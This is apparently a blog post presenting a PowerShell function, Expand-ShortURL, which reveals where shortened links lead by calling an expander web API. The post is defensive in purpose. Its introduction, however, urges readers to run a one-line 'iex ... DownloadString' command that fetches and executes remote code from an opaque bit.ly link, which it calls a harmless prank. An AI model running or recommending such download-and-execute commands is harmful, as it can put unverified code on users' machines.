Introduction to ‘Expand Short URL using PowerShell’:

A couple of URL shortening services like Google and TinyURL are available over the Internet, and I’m a big fan as Short or Tiny URLs as they are very useful to share contents on social media (Eg. Twitter with 140 Char limit), especially for bloggers,  but they can be used for malicious purposes by spammers and hackers because they guarantee a virtual anonymity to their user and the domain.

Don’t believe me? Please wear your headphone and try the Powershell command below with a Short URL. It’s FUN 🙂  but it could have been worst, maybe a malicious file would have been downloaded on your computer.


iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

Recently, I shared some Powershell code /r/PowerShell/  which had a link which was downloading a CSV file using a Short URL from IEEE.org website which was legit, but some people were bit skeptical to run the code. Can’t blame them.

The Idea and the Powershell Function:

So, I was thinking there are short URLs services then the opposite must also exist.

A simple google search resulted in lots of Short URL expander web services and APIs, and I wrapped one of them which does not require a subscription key in a quick Powershell function, to make it work.


<#
.SYNOPSIS
Expand Short URLs
.DESCRIPTION
Unshortens the short URL using the UnTiny.me web API http://untiny.me/api
.PARAMETER URL
Short URL to be expanded
.EXAMPLE
PS > Expand-ShortURL -URL https://goo.gl/quuacW, http://goo.gl/VG9XdU
ShortURL LongURL
——– ——-
https://goo.gl/quuacW https://geekeefy.wordpress.com/
http://goo.gl/VG9XdU https://raw.githubusercontent.com/PrateekKumarSingh/PowershellScrapy/master/MACManufacturers/MAC_Manufacturer_Reference.csv
.EXAMPLE
PS > 'https://goo.gl/quuacW' |Expand-ShortURL
ShortURL LongURL
——– ——-
https://goo.gl/quuacW https://geekeefy.wordpress.com/
.NOTES
Blog URL – http://geekeefy.wordpress.com
#>
Function Expand-ShortURL {
Param(
[Parameter(
Mandatory = $true,
HelpMessage = 'Short URL to be expanded',
ValueFromPipeline = $true,
Position = 0
)]
[ValidateNotNullOrEmpty()]
[string[]] $URL
)
Begin{
}
Process
{
Foreach($Item in $URL){
try {
[PSCustomObject]@{
ShortURL = $Item
LongURL = Invoke-WebRequest -Uri "http://untiny.me/api/1.0/extract?url=$Item&format=text" -ErrorAction Stop |`
ForEach-Object Content
}
}
catch {
$_.exception.Message
}
}
}
End{
}
}

Using this function I can also, scan for Downloaded scripts and Documents with Powershell and check if any Short URL is directing to some bad script, domain or malicious content.

Running the Function:

You can run the function like in the below image.

Expand Short URL using PowerShell

Hope you’ll find the script useful and Thanks for reading, Cheers! 🙂

Expand Short URL using PowerShell

Subscribe to our mailing list

* indicates required